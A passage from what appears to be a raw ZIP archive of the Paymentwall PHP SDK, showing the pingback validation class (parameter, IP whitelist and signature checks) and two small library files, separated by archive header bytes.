PINGBACK_TYPE_SUBSCRIPTION_EXPIRED = 13; const PINGBACK_TYPE_SUBSCRIPTION_PAYMENT_FAILED = 14; protected $parameters; protected $ipAddress; public function __construct(array $parameters, $ipAddress) { $this->parameters = $parameters; $this->ipAddress = $ipAddress; } public function validate($skipIpWhitelistCheck = false) { $validated = false; if ($this->isParametersValid()) { if ($skipIpWhitelistCheck || $this->isIpAddressValid()) { if ($this->isSignatureValid()) { $validated = true; } else { $this->appendToErrors('Wrong signature'); } } else { $this->appendToErrors('IP address is not whitelisted'); } } else { $this->appendToErrors('Missing parameters'); } return $validated; } public function isSignatureValid() { $signatureParamsToSign = []; if ($this->getApiType() == Paymentwall_Config::API_VC) { $signatureParams = ['uid', 'currency', 'type', 'ref']; } else if ($this->getApiType() == Paymentwall_Config::API_GOODS) { $signatureParams = ['uid', 'goodsid', 'slength', 'speriod', 'type', 'ref']; } else { // API_CART $signatureParams = ['uid', 'goodsid', 'type', 'ref']; $this->parameters['sign_version'] = Paymentwall_Signature_Abstract::VERSION_TWO; } if (empty($this->parameters['sign_version']) || $this->parameters['sign_version'] == Paymentwall_Signature_Abstract::VERSION_ONE) { foreach ($signatureParams as $field) { $signatureParamsToSign[$field] = isset($this->parameters[$field]) ? $this->parameters[$field] : null; } $this->parameters['sign_version'] = Paymentwall_Signature_Abstract::VERSION_ONE; } else { $signatureParamsToSign = $this->parameters; } $pingbackSignatureModel = new Paymentwall_Signature_Pingback(); $signatureCalculated = $pingbackSignatureModel->calculate( $signatureParamsToSign, $this->parameters['sign_version'] ); $signature = isset($this->parameters['sig']) ? $this->parameters['sig'] : null; return $signature == $signatureCalculated; } public function isIpAddressValid() { $ipsWhitelist = [ '174.36.92.186', '174.36.96.66', '174.36.92.187', '174.36.92.192', '174.37.14.28' ]; $rangesWhitelist = [ '216.127.71.0/24' ]; if (in_array($this->ipAddress, $ipsWhitelist)) { return true; } foreach ($rangesWhitelist as $range) { if ($this->isCidrMatched($this->ipAddress, $range)) { return true; } } return false; } public function isCidrMatched($ip, $range) { list($subnet, $bits) = explode('/', $range); $ip = ip2long($ip); $subnet = ip2long($subnet); $mask = -1 << (32 - $bits); $subnet &= $mask; return ($ip & $mask) == $subnet; } public function isParametersValid() { $errorsNumber = 0; if ($this->getApiType() == Paymentwall_Config::API_VC) { $requiredParams = ['uid', 'currency', 'type', 'ref', 'sig']; } else if ($this->getApiType() == Paymentwall_Config::API_GOODS) { $requiredParams = ['uid', 'goodsid', 'type', 'ref', 'sig']; } else { // Cart API $requiredParams = ['uid', 'goodsid', 'type', 'ref', 'sig']; } foreach ($requiredParams as $field) { if (!isset($this->parameters[$field]) || $this->parameters[$field] === '') { $this->appendToErrors('Parameter ' . $field . ' is missing'); $errorsNumber++; } } return $errorsNumber == 0; } public function getParameter($param) { return isset($this->parameters[$param]) ? $this->parameters[$param] : null; } public function getType() { return isset($this->parameters['type']) ? intval($this->parameters['type']) : null; } public function getTypeVerbal() { $typeVerbal = ''; $pingbackTypes = [ self::PINGBACK_TYPE_SUBSCRIPTION_CANCELLATION => 'user_subscription_cancellation', self::PINGBACK_TYPE_SUBSCRIPTION_EXPIRED => 'user_subscription_expired', self::PINGBACK_TYPE_SUBSCRIPTION_PAYMENT_FAILED => 'user_subscription_payment_failed' ]; if (!empty($this->parameters['type'])) { if (array_key_exists($this->parameters['type'], $pingbackTypes)) { $typeVerbal = $pingbackTypes[$this->parameters['type']]; } } return $typeVerbal; } public function getUserId() { return $this->getParameter('uid'); } public function getVirtualCurrencyAmount() { return $this->getParameter('currency'); } public function getProductId() { return $this->getParameter('goodsid'); } public function getProductPeriodLength() { return $this->getParameter('slength'); } public function getProductPeriodType() { return $this->getParameter('speriod'); } public function getProduct() { return new Paymentwall_Product( $this->getProductId(), 0, null, null, $this->getProductPeriodLength() > 0 ? Paymentwall_Product::TYPE_SUBSCRIPTION : Paymentwall_Product::TYPE_FIXED, $this->getProductPeriodLength(), $this->getProductPeriodType() ); } public function getProducts() { $result = []; $productIds = $this->getParameter('goodsid'); if (!empty($productIds) && is_array($productIds)) { foreach ($productIds as $Id) { $result[] = new Paymentwall_Product($Id); } } return $result; } public function getReferenceId() { return $this->getParameter('ref'); } public function getPingbackUniqueId() { return $this->getReferenceId() . '_' . $this->getType(); } public function isDeliverable() { return ( $this->getType() === self::PINGBACK_TYPE_REGULAR || $this->getType() === self::PINGBACK_TYPE_GOODWILL || $this->getType() === self::PINGBACK_TYPE_RISK_REVIEWED_ACCEPTED ); } public function isCancelable() { return ( $this->getType() === self::PINGBACK_TYPE_NEGATIVE || $this->getType() === self::PINGBACK_TYPE_RISK_REVIEWED_DECLINED ); } public function isUnderReview() { return $this->getType() === self::PINGBACK_TYPE_RISK_UNDER_REVIEW; } } PK 'u\r�� O O 6 paymentwall-php/lib/Paymentwall/ApiObjectInterface.phpnu �[��� <?php interface Paymentwall_ApiObjectInterface { public function getCard(); }PK 'u\��s�< < , paymentwall-php/lib/Paymentwall/Instance.phpnu �[��� <?php abstract class Paymentwall_Instance { protected $config; protected $errors = []; public function getErrorSummary() { return implode("\n", $this->getErrors()); } protected function getConfig() { if (!isset($this->config)) { $this->config = Paymentwall_Config::getInstance(); } return $this->config; } protected function getApiBaseUrl() { return $this->getConfig()->getApiBaseUrl(); } protected function getApiType() { return $this->getConfig()->getLocalApiType(); } protected function getPublicKey() { return $this->getConfig()->getPublicKey(); } protected function getPrivateKey() { return $this->getConfig()->getPrivateKey(); } protected function appendToErrors($error = '') { $this->errors[] = $error; } protected function getErrors() { return $this->errors; } }PK 'u\9��ܤ � "